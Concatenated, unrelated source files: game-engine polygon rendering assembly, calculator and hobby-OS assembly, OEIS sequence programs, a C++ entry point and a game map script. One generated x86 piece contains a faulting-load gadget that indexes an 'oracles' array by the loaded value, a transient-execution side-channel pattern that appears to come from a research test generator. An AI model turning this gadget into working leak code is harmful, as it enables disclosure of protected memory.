include 3d.inc
.list
assume cs:_TEXT, ds:_DATA
_DATA segment dword public USE32 'DATA'
rcsid db "$Id: draw.asm 1.33 1996/02/14 09:59:13 matt Exp $"
align 4
tempv vms_vector <>
n_verts dd ?
n_verts_4 dd ? ; added by mk, 11/29/94, point coding optimization.
bitmap_ptr dd ?
uvl_list_ptr dd ?
tmap_drawer_ptr dd draw_tmap_
flat_drawer_ptr dd gr_upoly_tmap_
line_drawer_ptr dd gr_line_
_DATA ends
_TEXT segment dword public USE32 'CODE'
extn gr_upoly_tmap_
extn draw_tmap_
;specifies new routines to call to draw polygons
;takes eax=ptr to tmap routine, edx=ptr to flat routine, ebx=line rtn
g3_set_special_render:
or eax,eax
jnz got_tmap_ptr
lea eax,cs:draw_tmap_
got_tmap_ptr: mov tmap_drawer_ptr,eax
or edx,edx
jnz got_flat_ptr
lea edx,cs:gr_upoly_tmap_
got_flat_ptr: mov flat_drawer_ptr,edx
or ebx,ebx
jnz got_line_ptr
lea ebx,cs:gr_line_
got_line_ptr: mov line_drawer_ptr,ebx
ret
;alternate entry takes pointers to points. esi,edi = point pointers
g3_draw_line:
;;ifndef NDEBUG
;; mov ax,_Frame_count ;curren frame
;; cmp ax,[esi].p3_frame ;rotated this frame?
;; break_if ne,'Point not rotated in draw_line'
;; cmp ax,[edi].p3_frame ;rotated this frame?
;; break_if ne,'Point not rotated in draw_line'
;;endif
mov al,[esi].p3_codes
mov ah,[edi].p3_codes
;check codes for reject, clip, or no clip
test al,ah ;check codes_and
jnz no_draw_line ;both off same side
or al,ah ;al=codes_or
js must_clip_line ;neg z means must clip
test [esi].p3_flags,PF_PROJECTED
jnz p0_projected
call g3_project_point
p0_projected: test [esi].p3_flags,PF_OVERFLOW
jnz must_clip_line
test [edi].p3_flags,PF_PROJECTED
jnz p1_projected
xchg esi,edi ;get point in esi
call g3_project_point
xchg esi,edi
p1_projected: test [edi].p3_flags,PF_OVERFLOW
jnz must_clip_line
pushm ebx,ecx,edx ;save regs
test al,al ;check codes or
mov eax,[esi].p3_sx
mov edx,[esi].p3_sy
mov ebx,[edi].p3_sx
mov ecx,[edi].p3_sy
jz unclipped_line ;cc set from test above
;call clipping line drawer
;; call gr_line_ ;takes eax,edx,ebx,ecx
push esi
mov esi,line_drawer_ptr
call esi
pop esi
popm ebx,ecx,edx
ret ;return value from gr_line
;we know this one is on screen
unclipped_line: ;;call gr_uline_ ;takes eax,edx,ebx,ecx
;; call gr_line_
push esi
mov esi,line_drawer_ptr
call esi
pop esi
popm ebx,ecx,edx
mov al,1 ;definitely drew
ret
;both points off same side, no do draw
no_draw_line: xor al,al ;not drawn
ret
;jumped here from out of g3_draw_line. esi,edi=points, al=codes_or
must_clip_line: call clip_line ;do the 3d clip
call g3_draw_line ;try draw again
;free up temp points
test [esi].p3_flags,PF_TEMP_POINT
jz not_temp_esi
call free_temp_point
not_temp_esi: test [edi].p3_flags,PF_TEMP_POINT
jz not_temp_edi
xchg esi,edi
call free_temp_point
not_temp_edi:
check_free_points
ret ;ret code set from g3_draw_line
;returns true if a plane is facing the viewer. takes the unrotated surface
;normal of the plane, and a point on it. The normal need not be normalized
;takes esi=vector (unrotated point), edi=normal.
;returns al=true if facing, cc=g if facing
;trashes esi,edi
g3_check_normal_facing:
push edi ;save normal
lea eax,tempv
mov edi,esi
lea esi,View_position
call vm_vec_sub
mov esi,eax ;view vector
pop edi ;normal
call vm_vec_dotprod
or eax,eax ;check sign
setg al ;true if positive
ret
;see if face is visible and draw if it is.
;takes ecx=nv, esi=point list, edi=normal, ebx=point.
;normal can be NULL, which will for compution here (which will be slow).
;returns al=-1 if not facing, else 0
;Trashes ecx,esi,edx,edi
g3_check_and_draw_poly:
call do_facing_check
or al,al
jnz g3_draw_poly
mov al,-1
ret
g3_check_and_draw_tmap:
push ebx
mov ebx,eax
call do_facing_check
pop ebx
or al,al
jnz g3_draw_tmap
mov al,-1
ret
;takes edi=normal or NULL, esi=list of vert nums, ebx=pnt
;returns al=facing?
do_facing_check:
test edi,edi ;normal passed?
jz compute_normal ;..nope
;for debug, check for NULL normal
ifndef NDEBUG
mov eax,[edi].x
or eax,[edi].y
or eax,[edi].z
break_if z,'Zero-length normal in do_facing_check'
endif
;we have the normal. check if facing
push esi
mov esi,ebx
call g3_check_normal_facing ;edi=normal
pop esi
setg al ;set al true if facing
ret
;normal not specified, so must compute
compute_normal:
pushm ebx,ecx,edx,esi
;get three points (rotated) and compute normal
mov eax,[esi] ;get point
mov edi,8[esi] ;get point
mov esi,4[esi] ;get point
lea ebx,tempv
call vm_vec_perp ;get normal
mov edi,eax ;normal in edi
call vm_vec_dotprod ;point in esi
or eax,eax ;check result
popm ebx,ecx,edx,esi
sets al ;al=true if facing
ret
;draw a flat-shaded face. returns true if drew
;takes ecx=nv, esi=list of pointers to points
;returns al=0 if called 2d, 1 if all points off screen
;Trashes ecx,esi,edx
g3_draw_poly:
pushm ebx,edi
lea edi,Vbuf0 ;list of ptrs
xor ebx,ebx ;counter
mov dx,0ff00h ;init codes
codes_loop: mov eax,[esi+ebx*4] ;get point number
mov [edi+ebx*4],eax ;store in ptr array
;;ifndef NDEBUG
;; push ebx
;; mov bx,_Frame_count ;curren frame
;; cmp bx,[eax].p3_frame ;rotated this frame?
;; break_if ne,'Point not rotated in draw_poly'
;; pop ebx
;;endif
and dh,[eax].p3_codes ;update codes_and
or dl,[eax].p3_codes ;update codes_or
inc ebx
cmp ebx,ecx ;done?
jne codes_loop ;..nope
;now dx = codes
test dh,dh ;check codes_and
jnz face_off_screen ;not visible at all
test dl,dl ;how about codes_or
js must_clip_face ;neg z means must clip
jnz must_clip_face
;reentry point for jump back from clipper
draw_poly_reentry:
push edx ;save codes_or
;now make list of 2d coords (& check for overflow)
mov edx,edi ;edx=Vbuf0
xor ebx,ebx
lea edi,Vertex_list
coords_loop: mov esi,[edx+ebx*4] ;esi = point
test [esi].p3_flags,PF_PROJECTED
jnz pnt_projected
call g3_project_point
pnt_projected: test [esi].p3_flags,PF_OVERFLOW
jnz must_clip_face2
mov eax,[esi].p3_sx
mov [edi+ebx*8],eax
mov eax,[esi].p3_sy
mov 4[edi+ebx*8],eax
inc ebx
cmp ebx,ecx
jne coords_loop
mov eax,ecx ;eax=nverts
mov edx,edi ;edx=vertslist
;check for trivial accept
pop ebx ;get codes_or
ife DONT_USE_UPOLY
test bl,bl
jz no_clip_face
endif
;;call gr_poly_ ;takes eax,edx
;;; call gr_upoly_tmap_
push ecx
mov ecx,flat_drawer_ptr
call ecx
pop ecx
popm ebx,edi
xor al,al ;say it drew
ret
;all on screen. call non-clipping version
no_clip_face: ;;call gr_upoly_ ;takes eax,edx
;; call gr_poly_
call gr_upoly_tmap_
popm ebx,edi
xor al,al ;say it drew
ret
;all the way off screen. return
face_off_screen: popm ebx,edi
mov al,1 ;no draw
ret
;we require a 3d clip
must_clip_face2: pop edx ;get codes back
must_clip_face: lea esi,Vbuf0 ;src
lea edi,Vbuf1 ;dest
mov al,dl ;codes in al
call clip_polygon ;count in ecx
mov edi,esi ;new list in edi
;clipped away?
jecxz clipped_away
or dh,dh ;check codes_and
jnz clipped_away
test dl,dl ;check codes or
js clipped_away ;some points still behind eye
push edi ;need edi to free temp pnts
push offset cs:reentry_return
pushm ebx,edi ;match what draw has pushed
jmp draw_poly_reentry
reentry_return:
pop edi
clipped_away:
push eax ;save ret codes
;free temp points
xor ebx,ebx
free_loop: mov esi,[edi+ebx*4] ;get point
test [esi].p3_flags,PF_TEMP_POINT
jz not_temp
call free_temp_point
not_temp: inc ebx
cmp ebx,ecx
jne free_loop
check_free_points
pop eax ;get ret codes back
popm ebx,edi
ret
;draw a texture-mapped face. returns true if drew
;takes ecx=nv, esi=point list, ebx=uvl_list, edx=bitmap
;returns al=0 if called 2d, 1 if all points off screen
;Trashes ecx,esi,edx
g3_draw_tmap:
mov bitmap_ptr,edx ;save
pushm ebx,edi
lea edi,Vbuf0 ;list of ptrs
push ebp ;save ebp
mov ebp,ebx ;ebp=uvl list
mov uvl_list_ptr, ebx
mov n_verts,ecx ;save in memory
shl ecx, 2
;loop to check codes, make list of point ptrs, and copy uvl's into points
mov dh, 0ffh ; init codes (this pipelines nicely)
mov n_verts_4, ecx
xor ebx, ebx
xor dl, dl ; init codes (this pipelines nicely)
t_codes_loop: mov eax,[esi+ebx] ;get point number
mov [edi+ebx],eax ;store in ptr array
and dh,[eax].p3_codes ;update codes_and
or dl,[eax].p3_codes ;update codes_or
mov ecx,[ebp] ;get u
add ebp, 4 ; (this pipelines better ..mk, 11/29/94 ((my 33rd birthday...)))
mov [eax].p3_u,ecx
mov ecx,[ebp] ;get v
add ebp, 4
mov [eax].p3_v,ecx
mov ecx,[ebp] ;get l
add ebp, 4
mov [eax].p3_l,ecx
or [eax].p3_flags,PF_UVS + PF_LVS ;this point's got em
add ebx,4
cmp ebx, n_verts_4
jne t_codes_loop ;..nope
pop ebp ;restore ebp
;now dx = codes
test dh,dh ;check codes_and
jnz t_face_off_screen ;not visible at all
test dl,dl ;how about codes_or
jnz t_must_clip_face ;non-zero means must clip
;reentry point for jump back from clipper
t_draw_poly_reentry:
;make sure all points projected
mov edx,edi ;edx=Vbuf0
xor ebx,ebx
t_proj_loop: mov esi,[edx+ebx*4] ;esi = point
;;ifndef NDEBUG
;; mov ax,_Frame_count ;curren frame
;; cmp ax,[esi].p3_frame ;rotated this frame?
;; break_if ne,'Point not rotated in draw_tmap'
;;endif
test [esi].p3_flags,PF_PROJECTED
jnz t_pnt_projected
call g3_project_point
t_pnt_projected:
test [esi].p3_flags,PF_OVERFLOW
break_if nz,'Should not overflow after clip'
jnz t_face_off_screen
inc ebx
cmp ebx,n_verts
jne t_proj_loop
;now call the texture mapper
mov eax,bitmap_ptr ;eax=bitmap ptr
mov edx,n_verts ;edx=count
mov ebx,edi ;ebx=points
;;; call draw_tmap_
push ecx
mov ecx,tmap_drawer_ptr
call ecx
pop ecx
popm ebx,edi
xor al,al ;say it drew
ret
;all the way off screen. return
t_face_off_screen: popm ebx,edi
mov al,1 ;no draw
ret
;we require a 3d clip
t_must_clip_face: lea esi,Vbuf0 ;src
lea edi,Vbuf1 ;dest
mov al,dl ;codes in al
mov ecx,n_verts
call clip_polygon ;count in ecx
mov n_verts,ecx
mov edi,esi ;new list in edi
;clipped away?
jecxz t_clipped_away
or dh,dh ;check codes_and
jnz t_clipped_away
test dl,dl ;check codes or
js t_clipped_away ;some points still behind eye
push edi ;need edi to free temp pnts
push offset cs:t_reentry_return
pushm ebx,edi ;match what draw has pushed
jmp t_draw_poly_reentry
t_reentry_return:
pop edi
t_clipped_away:
; free temp points
mov ebx, ecx
push eax ;save ret code
dec ebx
shl ebx, 2
t_free_loop: mov esi,[edi+ebx] ;get point
test [esi].p3_flags,PF_TEMP_POINT
jz t_not_temp
call free_temp_point
t_not_temp: sub ebx, 4
jns t_free_loop
check_free_points
pop eax ;get ret code
popm ebx,edi
ret
;draw a sortof-sphere. takes esi=point, ecx=radius
g3_draw_sphere: test [esi].p3_codes,CC_BEHIND
jnz reject_sphere
test [esi].p3_flags,PF_PROJECTED
jnz sphere_p_projected
call g3_project_point
sphere_p_projected:
test [esi].p3_flags,PF_OVERFLOW
jnz reject_sphere
;calc radius. since disk doesn't take width & height, let's just
;say the the radius is the width
pushm eax,ebx,ecx,edx
mov eax,ecx
fixmul Matrix_scale.x
imul Canv_w2
sphere_proj_div: divcheck [esi].z,sphere_div_overflow_handler
idiv [esi].z
mov ebx,eax
mov eax,[esi].p3_sx
mov edx,[esi].p3_sy
call gr_disk_
sphere_div_overflow_handler:
popm eax,ebx,ecx,edx
reject_sphere: ret
_TEXT ends
end
|
#include "GameApp.h"
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE prevInstance,
_In_ LPSTR cmdLine, _In_ int showCmd)
{
// 这些参数不使用
UNREFERENCED_PARAMETER(prevInstance);
UNREFERENCED_PARAMETER(cmdLine);
UNREFERENCED_PARAMETER(showCmd);
// 允许在Debug版本进行运行时内存分配和泄漏检测
#if defined(DEBUG) | defined(_DEBUG)
_CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_LEAK_CHECK_DF);
#endif
GameApp theApp(hInstance, L"SSAO", 1280, 720);
if (!theApp.Init())
return 0;
return theApp.Run();
}
|
;-----------------------------------------------------------
; Filename: cedit.asm
; Long name: Cursor Editor
; Author: Chipmaster, with Kerm Martian aka Christopher Mitchell
; Last Update: Unknown
;
; Tab functions, mouse hook for GUI, InfoPop and MemoryPop-related
; code, and similar.
;
;Please consult license.txt for the fair use agreement
;implicitly binding by you continuing to read past this
;point. Close and delete this file if you do not agree
;to the terms of the agreement.
;-----------------------------------------------------------
CursorEdit:
xor a
ld (CX),a
ld (CY),a
ld (CGStimer),a
ld hl,40
bcall(_DAVLCheckOffset)
ld de,cMouseMask
ld bc,16
ldir
call displayOuterEdge
cmainloop:
ld hl,CGStimer
inc (hl)
inc hl
inc (hl)
call displayGrid
call displayCursor
call imfastcopy
bcall(_Cn2GetK)
cp 4
jr nz,notMoveUp
ld a,(CY)
or a
jr z,cmainloop
dec a
ld b,1
jp CCursorMove
notMoveUp:
cp 1
jr nz,notMoveDown
ld a,(CY)
cp 7
jr z,cmainloop
inc a
ld b,1
jp CCursorMove
notMoveDown:
cp 3
jr nz,notMoveRight
ld a,(CX)
cp 7
jr z,cmainloop
inc a
ld b,0
jp CCursorMove
notMoveRight:
cp 2
jr nz,notMoveLeft
ld a,(CX)
or a
jp z,cmainloop
dec a
ld b,0
jp CCursorMove
notMoveLeft:
ld b,0
cp 36h ;[2nd]
jr z,modPixelStatus
inc b
cp 30h ;[ALPHA]
jr z,modPixelStatus
inc b
cp 38h ;[DEL]
jr z,modPixelStatus
notChangePixel:
cp 9
ret z
jp cmainloop
;Calls
modPixelStatus:
;White Opaque, Black Opaque, White Trans
;If White Opaque:
;-Change cMouse
;If Black Opaque
;-Change cMouse
;-Change cMouseMask
;If White Trans
;-Change cMouseMask
push bc
; ld a,b
; cp 2 ;deleting (switch to trans)
; jr z,modPixelStatusMask
ld a,(CY)
ld hl,cMouse
ld e,a
ld d,0
add hl,de
ld c,%10000000
ld a,(CX)
or a
jr z,cgetpixelLoopFinish
ld b,a
cgetpixelLoop:
srl c
djnz cgetpixelLoop
cgetpixelLoopFinish: ;c is mask, (hl) is current value
pop af ;a is type
push af
or a ;2nd
jr z,cgetpixelLoopFinish_Black
cgetpixelLoopFinish_White:
ld a,c
cpl ;xor $ff
and (hl)
ld (hl),a
jr modPixelStatusMask
cgetpixelLoopFinish_Black:
ld a,(hl)
or c
ld (hl),a
modPixelStatusMask:
ld a,(CY)
ld hl,cMouseMask
ld e,a
;d = 0, never got a chance to change
add hl,de
ld c,%10000000
ld a,(CX)
or a
jr z,cgetpixelLoop2Finish
ld b,a
cgetpixelLoop2:
srl c
djnz cgetpixelLoop2
cgetpixelLoop2Finish: ;c is mask, (hl) is current value
pop af ;a is type
cp 2
jr z,cgetpixelLoop2Finish_Trans
ld a,c
cpl ;xor $ff
and (hl)
ld (hl),a
jr modPixelStatusEnd
cgetpixelLoop2Finish_Trans:
ld a,(hl)
or c
ld (hl),a
modPixelStatusEnd:
jp cmainLoop
;=====================================================================
displayOuterEdge:
;displays 4 black lines surrounding our grid.
ld hl,39*256+23 ;(23,39) (23,56)
push hl ;-------------
ld d,56 ;| |
ld e,l ;| |
push de ;| |
ld a,1 ;| |
call mos_fastline ;-------------
pop de ;(40,39) (40,56)
ld hl,56*256+40
push hl
ld a,1
call mos_fastline ;doesn't say what's destroyed. Assume all.
pop hl
ld de,39*256+40
push de
ld a,1
call mos_fastline
pop de
pop hl
ld a,1
call mos_fastline
ret
;=====================================================================
displayGrid:
;Displays the current state of pixels
ld b,8
ld hl,cMouse-1
ld e,22
GridOuterLoop:
push bc
inc hl
ld a,38 ;2 less than what it will display first at
inc e
inc e
ld b,%10000000
GridInnerLoop:
push bc
push hl
push de
push af
ld a,(hl)
and b
jr z,GridDisplayBlank
GridBlack:
pop af
pop de
inc a
inc a
push de
push af
ld l,e
ld b,2
ld ix,Block
call imPutSpriteMask
jr DisplayGridJoin
GridDisplayBlank:
ld de,8
or a
sbc hl,de
ld a,(hl)
and b
jr nz,GridDisplayGrey
GridDisplayBlank2:
pop af
pop de
inc a
inc a
push de
push af
ld l,e
ld b,2
ld ix,Blank
call imPutSpriteMask
DisplayGridJoin:
pop af
pop de
pop hl
pop bc
srl b
jr nz,GridInnerLoop
pop bc
djnz GridOuterLoop
ret
GridDisplayGrey:
ld a,(CGStimer)
srl a
jr c,GridDisplayBlank2
jr GridBlack
Block:
.db %00111111
.db %00111111
Blank:
.db %00111111
.db %00111111
Dummy:
.db 0,0,0,0, ;4 bytes of crap
BlockMask:
.db %11000000
.db %11000000
BlankMask:
.db %00000000
.db %00000000
displayCursor:
;flashes cursor at X,Y
ld a,(cblinktmr)
cp 20
jr nc,CursorcblinkOff
CursorOn:
ld ix,Block
displayCursorBack:
ld a,(CY)
add a,a
add a,24
ld l,a
ld a,(CX)
add a,a
add a,40
ld b,2
call imPutSpriteMask
ret
CursorcblinkOff:
cp 40
call nc,resetcblinktmr
CursorOff:
ld ix,Blank
jr displayCursorBack
resetcblinktmr:
xor a
ld (cblinktmr),a
ret
CCursorMove:
;Makes it blank at last spot
;Makes it solid at next spot
;b = 0 lr, b = 1 ud
push af
push bc
xor a
ld (cblinktmr),a
call CursorOff
pop bc
ld a,b
or a
jr z,CCursorMoveLeftRight
pop af
ld (CY),a
call CursorOn
jp cmainloop
CCursorMoveLeftRight:
pop af
ld (CX),a
call CursorOn
jp cmainloop |
; A246292: Number of permutations on [n*(n+1)/2] with cycles of n distinct lengths.
; Submitted by Jon Maiga
; 1,1,3,120,151200,10897286400,70959641905152000,60493719168990845337600000,9226024969987629401488081551360000000,329646772667218349211759153151614073700352000000000,3498788402132461399351052923160966975192989707740695756800000000000,13636988412834772927783019687145331104805321678811900616604039574055813120000000000000,23641426621970151731137267931322246582749931481415201932621859354266948847841428434153635840000000000000000
mov $1,1
mov $2,$0
bin $0,2
lpb $0
sub $0,1
add $2,1
mul $1,$2
lpe
mov $0,$1
|
BITS 16
section .text
foo:
shld bx, ax, 9
shrd [ebx], ax, 9
shld ebx, eax, 9
shrd [ebx], eax, 9
shld bx, ax, cl
shrd [ebx], ax, cl
shld ebx, eax, cl
shrd [ebx], eax, cl
|
bits 16
;;;;;
; Converts hexadecimal digit to byte.
; Format: 0~F or 0~f
; Arguments:
; DS:SI Pointer to string.
; Return:
; AL Value converted. (0 if not valid hexadecimal digit)
; SI End of the hexadecimal value.
;;;;;
xtob:
lodsb
cmp al, '9'
jg .is_letter
cmp al, '0'
jl .not_valid
sub al, '0'
jmp .stop
.is_letter:
cmp al, 'F'
jg .is_lower
cmp al, 'A'
jl .not_valid
sub al, 'A' - 10
jmp .stop
.is_lower:
cmp al, 'f'
jg .not_valid
cmp al, 'a'
jl .not_valid
sub al, 'a' - 10
jmp .stop
.not_valid:
xor al, al
.stop:
ret |
; A036126: a(n) = 3^n mod 43.
; 1,3,9,27,38,28,41,37,25,32,10,30,4,12,36,22,23,26,35,19,14,42,40,34,16,5,15,2,6,18,11,33,13,39,31,7,21,20,17,8,24,29,1,3,9,27,38,28,41,37,25,32,10,30,4,12,36,22,23,26,35,19,14,42,40,34,16,5,15,2,6,18,11,33,13,39,31,7,21,20,17,8,24,29,1,3,9,27,38,28,41,37,25,32,10,30,4,12,36,22
mov $1,1
mov $2,$0
lpb $2
mul $1,3
mod $1,43
sub $2,1
lpe
mov $0,$1
|
; A077854: Expansion of 1/((1-x)*(1-2*x)*(1+x^2)).
; 1,3,6,12,25,51,102,204,409,819,1638,3276,6553,13107,26214,52428,104857,209715,419430,838860,1677721,3355443,6710886,13421772,26843545,53687091,107374182,214748364,429496729,858993459,1717986918,3435973836,6871947673,13743895347,27487790694,54975581388,109951162777,219902325555,439804651110,879609302220,1759218604441,3518437208883,7036874417766,14073748835532,28147497671065,56294995342131,112589990684262,225179981368524,450359962737049,900719925474099,1801439850948198,3602879701896396
mov $1,2
pow $1,$0
mul $1,8
div $1,5
mov $0,$1
|
; @@@ void mikeos_input_string(char *buf);
%include "os_vector.inc"
section .text
use16
global _mikeos_input_string
_mikeos_input_string:
mov bx, sp
mov ax, [ss:bx + 2]
mov bx, os_input_string
call bx
ret
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x13929, %r8
nop
nop
nop
nop
nop
and %r15, %r15
mov $0x6162636465666768, %r13
movq %r13, %xmm3
vmovups %ymm3, (%r8)
nop
nop
xor $9627, %rcx
lea addresses_UC_ht+0x4ce3, %rsi
lea addresses_D_ht+0xeb2c, %rdi
nop
nop
dec %rbp
mov $50, %rcx
rep movsl
nop
dec %rdi
lea addresses_D_ht+0xf229, %rsi
lea addresses_normal_ht+0x1c1a9, %rdi
clflush (%rdi)
nop
nop
nop
xor %rbx, %rbx
mov $39, %rcx
rep movsb
nop
nop
xor %r13, %r13
lea addresses_D_ht+0x4e81, %rsi
lea addresses_WT_ht+0x13e9, %rdi
nop
nop
nop
nop
sub %rbx, %rbx
mov $106, %rcx
rep movsw
nop
nop
add $52055, %rsi
lea addresses_WT_ht+0x1ee29, %r15
nop
add %rsi, %rsi
movw $0x6162, (%r15)
and %rcx, %rcx
lea addresses_normal_ht+0x141c1, %r15
clflush (%r15)
nop
nop
nop
nop
nop
and %rbx, %rbx
vmovups (%r15), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %rsi
inc %r8
lea addresses_UC_ht+0x5229, %rsi
lea addresses_normal_ht+0xd529, %rdi
nop
nop
nop
xor %r13, %r13
mov $11, %rcx
rep movsq
nop
nop
nop
nop
sub $12268, %r8
lea addresses_WC_ht+0x1d3be, %rsi
lea addresses_WC_ht+0xa3d5, %rdi
nop
nop
xor $13334, %r15
mov $102, %rcx
rep movsw
nop
sub $2078, %rdi
lea addresses_WC_ht+0x19b71, %rsi
lea addresses_UC_ht+0xfa29, %rdi
nop
nop
nop
nop
nop
dec %r15
mov $127, %rcx
rep movsb
nop
nop
xor $9269, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %r15
push %rdi
push %rsi
// Store
lea addresses_normal+0x1a229, %r10
nop
add $45894, %rsi
mov $0x5152535455565758, %r11
movq %r11, %xmm3
movntdq %xmm3, (%r10)
nop
nop
nop
nop
nop
inc %r10
// Store
lea addresses_D+0x19a29, %r11
nop
nop
nop
nop
inc %rdi
movb $0x51, (%r11)
nop
nop
inc %r14
// Store
lea addresses_WC+0x1505f, %r13
clflush (%r13)
nop
nop
nop
cmp $16728, %r14
movl $0x51525354, (%r13)
nop
add %r15, %r15
// Store
lea addresses_A+0x1029, %r14
clflush (%r14)
nop
add $45348, %r11
mov $0x5152535455565758, %r15
movq %r15, (%r14)
nop
nop
xor %r15, %r15
// Faulty Load
lea addresses_A+0x11229, %r13
nop
nop
xor %r14, %r14
mov (%r13), %si
lea oracles, %r14
and $0xff, %rsi
shlq $12, %rsi
mov (%r14,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %r15
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 9, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}}
{'58': 291}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
object_const_def ; object_event constants
const PLAYERSNEIGHBORSHOUSE_COOLTRAINER_F
const PLAYERSNEIGHBORSHOUSE_POKEFAN_F
PlayersNeighborsHouse_MapScripts:
db 0 ; scene scripts
db 0 ; callbacks
PlayersNeighborsDaughterScript:
jumptextfaceplayer PlayersNeighborsDaughterText
PlayersNeighborScript:
jumptextfaceplayer PlayersNeighborText
PlayersNeighborsHouseBookshelfScript:
jumpstd magazinebookshelf
PlayersNeighborsHouseRadioScript:
checkevent EVENT_GOT_A_POKEMON_FROM_ELM
iftrue .NormalRadio
checkevent EVENT_LISTENED_TO_INITIAL_RADIO
iftrue .AbbreviatedRadio
playmusic MUSIC_POKEMON_TALK
opentext
writetext PlayerNeighborRadioText1
pause 45
writetext PlayerNeighborRadioText2
pause 45
writetext PlayerNeighborRadioText3
pause 45
musicfadeout MUSIC_NEW_BARK_TOWN, 16
writetext PlayerNeighborRadioText4
pause 45
closetext
setevent EVENT_LISTENED_TO_INITIAL_RADIO
end
.NormalRadio:
jumpstd radio1
.AbbreviatedRadio:
opentext
writetext PlayerNeighborRadioText4
pause 45
closetext
end
PlayersNeighborsDaughterText:
text "PIKACHU is an"
line "evolved #MON."
para "I was amazed by"
line "PROF.ELM's find-"
cont "ings."
para "He's so famous for"
line "his research on"
cont "#MON evolution."
para "…sigh…"
para "I wish I could be"
line "a researcher like"
cont "him…"
done
PlayersNeighborText:
text "My daughter is"
line "adamant about"
para "becoming PROF."
line "ELM's assistant."
para "She really loves"
line "#MON!"
para "But then, so do I!"
done
PlayerNeighborRadioText1:
text "PROF.OAK'S #MON"
line "TALK! Please tune"
cont "in next time!"
done
PlayerNeighborRadioText2:
text "#MON CHANNEL!"
done
PlayerNeighborRadioText3:
text "This is DJ MARY,"
line "your co-host!"
done
PlayerNeighborRadioText4:
text "#MON!"
line "#MON CHANNEL…"
done
PlayersNeighborsHouse_MapEvents:
db 0, 0 ; filler
db 2 ; warp events
warp_event 2, 7, NEW_BARK_TOWN, 3
warp_event 3, 7, NEW_BARK_TOWN, 3
db 0 ; coord events
db 3 ; bg events
bg_event 0, 1, BGEVENT_READ, PlayersNeighborsHouseBookshelfScript
bg_event 1, 1, BGEVENT_READ, PlayersNeighborsHouseBookshelfScript
bg_event 7, 1, BGEVENT_READ, PlayersNeighborsHouseRadioScript
db 2 ; object events
object_event 2, 3, SPRITE_COOLTRAINER_F, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, PlayersNeighborsDaughterScript, -1
